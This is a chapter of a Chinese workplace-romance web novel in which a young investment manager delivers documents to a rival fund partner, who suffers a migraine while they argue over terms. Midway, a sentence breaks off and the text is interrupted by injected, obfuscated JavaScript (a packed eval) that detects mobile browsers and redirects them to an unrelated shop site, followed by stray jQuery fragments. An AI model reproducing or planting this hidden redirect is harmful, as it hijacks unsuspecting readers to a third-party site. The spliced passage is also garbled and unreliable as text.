茶水间里的嬉笑声、水声和聊天声传出,几个穿polo衫的助理一遍喝着咖啡、一边东拉西扯地闲聊。
莫嘉凯从冰柜里拿出冰杯、熟练地放到咖啡机下,同批进公司的一个小伙子便嚼着饼干凑过来,压低声音打听:“昨天跟许经理去灵犀,吃上对方老板招待的大餐没有?”
“吃什么大餐,昨天的会上,徐经理和启衡的创始合伙人吵起来了,差点把房顶掀了。”莫嘉凯拧紧杯盖,心有余悸地叹了口气,“散会时那家创业公司的CEO忙着打圆场,说中午订了淮扬菜想拉大家一起吃,结果许经理脸色一句‘不必了’,当场硬邦邦给顶回去了。”
“和启衡的合伙人吵?徐经理看着温温柔柔的,这么勇猛的吗?”
“不止呢,在会上她怼了启衡的合伙人的每一句话,简直是寸步不让。”莫嘉凯想起昨天谈判桌上那股几乎要点着空气的火星子,小声嘀咕,“楚总那气场,比咱们陈总有过之无不及,许经理却半点不怵,特别强势。回来的时候我手心全是汗,真怕她当场拍桌子……”
话音未落,旁边同事的脸色骤然一僵,手里的饼干袋子猛地捏紧,脊背绷得笔直。
莫嘉凯下意识转头,只见战投部总经理陈屿正拿着马克杯站在茶水间门边,面色平静,不知道站在那儿听了多久。
“陈总。”两人战战兢兢地站直。
陈屿视线在莫嘉凯身上略微停顿,神色看不出喜怒:“予薇在工位上吗?”
“在,刚把昨天的纪要理完。”
“让她把灵犀的最新拟议条带上,来我办公室一趟。”
“好的陈总。”莫嘉凯喝了一口冰美式,忙不迭往外溜,后背渗出一层虚汗,暗骂自己真不该嘴碎。
三分钟后,许予薇推门走进总经理办公室。
陈屿目光落在她递过来的文件上,却不接过来,只淡淡地问:“昨天在灵犀,和楚既明交锋挺激烈?”
许予薇一愣,坦然地回道:“商业谈判各为其主,启衡想借着领投把灵犀绑成标准品,星海要保住自己的商务协同与跟投资金安全,那就需要真枪实弹地谈。”
“该争的条件,我支持你争。”陈屿敲了敲桌面,“但予薇,姿态和底线是两回事。你昨天那股火气,连茶水间的小朋友们都看出不对劲了。”
许予薇指尖微微一紧,没接话。
陈屿从抽屉里拿出一份厚厚的文件夹,推到她面前:“这里有灵犀的跟投调整附件,还有集团跟启衡在华南共同联合投资的另外两个芯片项目的投后补充协议。”
“这是……?”
“这些都需要让楚既明确认一下。你下午亲自去趟启衡,给他过目。”
许予薇微怔:“陈总,这些线上发协同邮件、抄送双方团队留痕更严谨,为什么还要特意送过去?”
“邮件要发,人也得去,你亲自送一趟国展中心,当面跟楚既明核一遍。”陈屿靠回椅背,双指交叉,语气不容置疑,“是流程,也是态度。”
见许予薇眸光浮起一丝冷硬的抗拒,陈屿叹了口气,语调放缓了几分:
“我知道你心里委屈,辛辛苦苦跟了四个多月的领投被他截胡,换谁都不好受。可楚既明年纪再轻,也是启衡坐镇一方的管理合伙人,在创投圈的能量你必须要认识清楚;更重要的是,星海和启衡盘根错节,市场上多的是绑在一起的共同利益,低头不见抬头见。”
陈屿敲了敲桌上的文件,语气转而严厉起来:“你倒是把楚既明怼了,回头我和他在社交场合碰面,难道要被人家指着鼻子诟病,说我陈屿手底下的人输不起、连基本的商务修养都没有,我管教不好下属?真闹到那一步,丢的是你的职业口碑,也是集团和我的面子。”
许予薇胸口微微起伏,自嘲地笑了一声:“所以陈总今天让我跑这一趟,是让我上门去向楚总‘低头’赔礼?”
“我是让你去摆正姿态,不是让你去摇尾乞怜。”陈屿目光如炬,“把这些联合项目的盘子端到他眼前,是在点你,也是在提醒他——星海和启衡在市场上绑定深得很,彼此都有底牌和退路,谁也别想仗着一时的输赢把谁逼到墙角。去把你的专业度拿出来,别因为对方年轻有锋芒,就由着性子把路给走绝了。”
“明白,我这就去约时间。”
她刚欲起身,陈屿拉开办公桌左侧的抽屉,抽出一张烫金名片,用两指压着推到了她面前。
纯黑磨砂的名片上印着一行利落的字样:启衡资本投资总监梁策。
“让你直接联系楚既明,你可能抹不开面子,他也未必能好好坐下来听。”陈屿神色平静,语气里带着老上司特有的周全与通透,“梁策是启衡的总监,也是楚既明在启衡的核心副手。楚既明名下的项目,全由他主导操办,你直接联系梁策约时间。”
许予薇觉得有些好笑,领导是觉得她不配直接联系楚既明吗?她也根本不想联系啊!
“谢谢陈总。”她伸手将名片收进掌心,起身走向门口,推门走了出去。
回到座位,莫嘉凯试探着问要不要补打印灵犀那边的材料。许予薇把修改好的入股条件和附件放到他桌上,交代他核对好版本再印,电子版由她先发给对方。
“下午我去一趟启衡。你把宋总那边还没回复的具体意见整理个清单,不用催三遍,今天下午问一次就好。”
“予薇姐,你自己去啊?”莫嘉凯抬头。
许予薇不情愿地撇撇嘴,“嗯,送文件,顺便讲解答疑。”
莫嘉凯低头找订书机,动作明显放慢了几分。
许予薇没多解释,回到工位直接拨通了启衡项目对接人梁策的电话。一个温和低沉的声音传来,梁策在电话里很客气,说楚总下午正好在办公室,她翻了翻日程表,把下午两点那一格划了出来。
——————————————————
下午两点,国展中心A座。
电梯门对开后,硕大的公司招牌墙后,整整一层全是启衡资本的地盘。这里离W酒店只有几步路,通过走廊的落地窗就能看到酒店的空中花园,许予薇踩着低跟鞋走过前台,冷汗不由自主地渗出来,脑海中神使鬼差地闪过昨晚那场荒诞的宿醉。
“许经理,这边请。”
迎上来的梁策穿着剪裁规整的灰色西装,戴一副金丝边眼镜,温文尔雅,举止踏实妥帖。
比起楚既明那种漫不经心却又极具侵略性的凌厉气场,梁策给人的感觉平稳得多。
“楚总刚结束一个视频会议,正在里面等您。”梁策引着她走到合伙人办公室门前,轻轻叩了叩门。
“进。”里面传来一声低沉平缓的回应。
推门进去,楚既明正坐在宽大的深色办公桌后翻看平板。
“楚总,星海的许经理到了。”
楚既明掀起眼皮,视线掠过许予薇时露出了几分笑意。
梁策示意女主坐在了办公室正中央的客用沙发上,自己则坐在对面,接过女主送来的文件,一边翻看一边闲聊,行政助理送来两杯热茶,还没说几句,梁策的电话就响了。
他看了一眼屏幕,神色微歉:“楚总,新加坡那边的协同律师来电,我先接一下。”
楚既明微微颔首,招了招手,梁策立马把桌上的文件都放到了他办公桌上。
楚既明拿起文件,漫不经心地说道:“去吧,把门带上。”
梁策手上的动作顿了半秒,眼神掠过诧异——楚既明在业内向来严守社交分寸,极少在密闭办公室里与并不算熟稔的年轻女性独处,这看似漫不经心的一句话,着实颠覆他的社交礼仪边界了。
他没多问,依言躬身退出去,顺手合拢了厚重的实木门。
“咔哒”一声轻响,办公室里骤然安静下来。
楚既明盯着许予薇看了一会儿,“许经理,坐那么远,不过来聊?”
许予薇无奈,只好拉开办公桌对面地客椅坐下,机械地说道:“这批文件除了灵犀的跟投调整附件,还有星海和启衡在华南联合投资的两个芯片项目投后补充协议。陈总希望能当面请楚总看看,如果有任何疑问,我会为您解答。”
“你肯亲自来一趟,是不是昨天的气已经消了?”楚既明靠在椅背上,修长的指节搭在扶手上轻叩,眼神落在她脸上,半点没有前天吵翻天之后的尴尬,反而透着一种自视甚高的笃定。
“没有气。”不提还好,一提许予薇想起昨天在灵犀办公室被阳奉阴违地调戏的尴尬。她暗暗攥紧拳头,催眠自己是个无情的打工人,已经进化掉了喜怒哀乐,“商务谈判,各自都有要争的利益,都理解。”
“真不生气了?”
“楚总说笑了。”
“那天晚上的事也……”“楚总,您要不先看看文件?”许予薇咬牙切齿地打断了话题跑偏的趋势。
“行,谈正事。”楚既明随手抽过那份灵犀的文件翻开。
前二十分钟,气氛紧绷而克制。
许予薇心里压着气。她气这人截胡领投,气他在谈判桌上步步紧逼,更恼火那个荒唐至极的夜晚。
可随着逐条拆解条款,打工人的职业本能还是压过了私心杂念。
从回购边界聊到资金托管节点,许予薇讲得条理分明,楚既明偶尔出言打断,问题刀刀见血,她也都对答如流。遇到超出授权的细项,她也坦然记下:“这几条不在我不太清楚,回去确认了,明天补您正式邮件。”
她正低头在便签上勾画,对面突然没了动静。
许予薇抬起头,声音戛然而止。
楚既明不知道什么时候停下了翻页的动作,一只手肘支在桌沿,修长有力的指骨正用力按压着右侧太阳穴。他眉心紧拧,薄唇微微抿成一条冷硬的直线,额角甚至沁出了一层细密的冷汗。
原本挺拔松弛的脊背,此刻绷得发僵。
许予薇吓了一跳,一开始以为他是在演,转念又想,堂堂投资基金的合伙人,干嘛在她这个小打工人面前装病?
她沉默了三秒,确定楚既明真的没了主动反应,原本竖起的防备瞬间瓦解,语气里透出掩不住的急促:“楚总?你怎么了,身体不舒服?”
“……偏头痛。”他闭着眼,声音沙哑低沉,听得出在强忍神经抽痛,“老毛病了。”
许予薇登时紧张起来,“要帮你叫梁总进来吗?去医院看看吧。”
“不用。”楚既明深吸了一口气,语气依然嘴硬,“吃点药,休息一会儿就好。”
“药在哪儿?我帮你倒杯水。”
“不用麻烦……”楚既明话没说完,疼得轻抽了一口凉气,最终还是抬手拉开抽屉,摸出一个白色药板。
许予薇眼尖,注意到他手边的杯里居然是咖啡,眉头立刻皱得死紧。
她没忍住吐槽了一句:“头疼还喝咖啡顺药……”话音一落,已经快步绕过办公桌,在旁边的饮水机接了半杯温开水,稳稳递到他面前:“温水,就着把药吃了吧。”
楚既明就着水吞了药片,把杯子搁在一旁,疲惫地靠在椅背上,抬手遮了遮眉骨:“窗边的光……有点晃。”
午后的日光正好斜射进来,金晃晃地刺目。
许予薇没说话,转身走到落地窗前,伸手按下电动遮光帘的按键。两层厚实的深蓝帘布无声闭合,将外头炽烈的日光尽数拦在玻璃外。
回过头,见他依然闭着眼睛,眉心的褶皱丝毫没有松开。
“用不用把头顶的灯也关了?”她站在开关面板旁问。
“关了吧。”他的声音在昏暗的空气里显得有些虚弱。
“啪嗒。”
日光灯应声熄灭。整间宽敞的办公室瞬间陷入一种暧昧而静谧的黄昏质感。遮光帘边缘漏进一线柔和的余光,恰好勾勒出楚既明利落深邃的下颌线条。
空气流动得极慢,甚至能听见彼此轻浅的呼吸声。
原本剑拔弩张的职场对峙,突然被这种突如其来的亲近与昏暗彻底打乱。许予薇站在门边,后背泛起一阵不自在的燥热,只觉得这间办公室逼仄得让人透不过气。
“那楚总你慢慢休息,我就不打扰楚总了。”她拎包准备离开,“剩下的条款有疑问可以随时联系,我先告辞了。”
“等等。”
靠在椅背上的男人忽然睁开眼。
“又急着走?”楚既明嗓音哑得厉害,慢条斯理地开口,“私下里,许经理这么不近人情?”
见他又要公私混为一谈,许予薇转过身正色道:“楚总,这里是启衡的办公室,我们在谈公事。在办公场所,我不聊私事。”
楚既明被她这副浑身公事公办的模样逗得笑了一声。
他揉着眉心,顺
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17965512|214490||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
着她的话锋转回公事,语气却带着逗弄:“行,那聊公事。前天会上提到的排他边界,星海考虑得怎么样了?”
“为什么是星海来考虑?”许予薇扬了扬下巴,语气更严肃了,“商业条款是对等的,难道楚总觉得,该由星海无条件让步?”
楚既明不置可否地垂了垂眼帘,指节在桌面上轻轻点了两下。
“许经理,打仗要看粮草。”他收敛了玩笑的神色,语气低沉而清醒,“星海现在盯着的,无非是灵犀未来能接你们哪些订单、不能接别人哪些订单。但你该关注的不是这些条条框框,而是灵犀那几百号研发人员,胃口到底能不能吞下这些活。巧妇难为无米之炊,如果他们连像样的东西都交付不出来,你划再大的市场边界,不过是画饼充饥。”
许予薇胸口一滞。
她听得懂里面的道理,可偏偏讨厌他这种高高在上、仿佛洞悉一切的上位者姿态。说了半天,还是在把问题往灵犀身上推,在星海的诉求面前打太极。
刚刚对他作为病患的一点点怜悯,顿时被这股熟悉的职场窝囊气冲得烟消云散。
“楚总打太极的本事确实一流。既然身体不适,您还是留着精力慢慢养病吧,剩下的文件就请您好了之后自己看了。”许予薇抿直唇角,干脆利落地拉开办公室的门。
“许经理。”
楚既明再次叫住她。
许予薇握着门把手回头。
男人坐在昏暗的办公桌后,目光灼灼地盯着她:“剩下的文件要是看出了问题,我怎么找你?”
许予薇想起那天早晨留在酒店床头柜上的便签,冷冷道:“楚总有启衡的官方邮箱,星海的公用联系渠道也随时畅通。”
楚既明挑眉笑了,语气笃定又无赖:“几十页的联合协议,难道我每核对一条批注,都要发一封正式邮件来回抄送八个人?许经理,效率比流程重要,留个微信,或者手机号?”
整个对话的节奏完全被他牢牢攥在手里,许予薇被堵得进退维谷。
看着他那副完全在理的模样,她暗暗咬了咬牙,报出了一串工作用的手机号码:“微信同号。楚总,公事随时联系,非工作时间请免开尊口。”
说完,她不再给他开口的机会,快步走出了办公室。
厚重的木门在身后关紧。
办公桌后,楚既明看着紧闭的门扉,原本紧锁的眉头不自觉地松开。
心口不一……
嘴上说着公事公办,刚才听见他头疼,跑去倒水拉窗帘的动作比谁都麻利。年纪轻轻坐在星海高级经理的位置上,看似浑身带刺,心却软得一塌糊涂。
那一晚的吻也是如此,明明说了不允许,但短暂的生气后,却又向他示好。
他端起手边那半杯温度正好的温水抿了一口,唇角牵起一抹极淡的笑意。
几分钟后,门被轻轻推开。
梁策快步走进来,手里拿着一份刚打印的传真。见室内光线昏暗,他下意识放轻了脚步:“新加坡那边的电话接完了。我听说你老毛病又犯了?晚上的那个饭局我已经让行政推掉了,另外几个非必要的电话会也改到了明天。”
“嗯。”楚既明按着额头应了一声。
梁策递过来车钥匙:“待会儿我开车送你回酒店,趁早休息。”
“不用折腾。”楚既明摆摆手,“就几步路,穿过广场走回去就行,吹吹风反而清醒。”
梁策看了他一眼,无奈地推了推眼镜:“那也别熬夜了。每次项目一到深水区你就连轴转,铁打的身子也经不住偏头痛这么折腾。”
他和楚既明在研究生期间就一起创业、一起共事,彼此知根知底,关切中自然也带着多年搭档的默契。
梁策走到桌前收拾刚才的文件,目光落在许予薇贴在每页的便签纸上,“字真漂亮。”他清瘦的脸上浮起一丝赞许:“这位许经理年纪轻轻,还挺得陈屿信赖嘛。这几个都是大项目,陈屿放心让她来对接资料,刚才聊了几句,也是对答入流,真能干。”
“是挺能干。”楚既明靠在椅背上,语气里带着自己都没察觉的骄傲。
梁策敏锐地捕捉到了他的语气上扬,扫了一眼昏暗的房间和被端走的咖啡杯,半开玩笑地试探:“很少见你这么由着外人在办公室里折腾。很欣赏她?”
“当然。”楚既明坦然迎上梁策的视线,挑了挑眉,“有脑子,有骨气,长得也漂亮。”
梁策低笑了一声:“但我看人家刚才出门的时候,脸绷得像要吃人,半点没给你好脸色。”
“那是她内敛,脸皮薄。”楚既明漫不经心地转动着手里的签字笔,自我感觉良好地得出结论,“女孩子嘛,害羞和逞强通常是一回事。她要是真讨厌我,刚才就不会喂我吃药了。”
梁策看着楚既明笃定的神情,张了张嘴,最终只是带着职业性的微笑摇了摇头,没戳破自家老板这惊人的自恋。
——————————————————————
出了写字楼大堂,午后的热浪扑面而来。
许予薇站在路边打开叫车软件,把目的地定位到了家附近的盒马超市。昨天答应母亲要自己做饭吃,可家里米面等主食空了,冰箱里的鸡蛋和肉也还没补充,今晚无论如何得亲自下厨做点热乎东西吃。
宋言的电话打进来时,许予薇刚把一盒新鲜鸡蛋放进冰箱保鲜层。
“许经理!明天方便再一起聊聊吗?”宋言开门见山,声音里透着按捺不住的兴奋,“那天不欢而散,都怪我们态度不明确,搞得你和楚总还吵起来了。我们团队又商量了一下,希望在排他条款上再和你细聊一轮。”
“……可以。”
“明天韩正也参加。”
“好的。”韩正是灵犀的技术联合创始人,更是开发团队的最高负责人,如果要从研发和产品方向上把控排他,确实也得带着他一起讨论。
但他有种理工男特有的死脑筋和犟脾气,许予薇之前在自己学校天天和这类人打交道,始终不太擅长解析他们的脑回路。
挂了电话,点开最新上线的一部恐怖片,手机屏幕亮了一下。
微信界面上跳出新好友的消息。楚既明:【文件已阅,无疑问。】
许予薇看着这个新建的联系人对话框,顺手回了个公事公办的【收到】,再无多余的寒暄。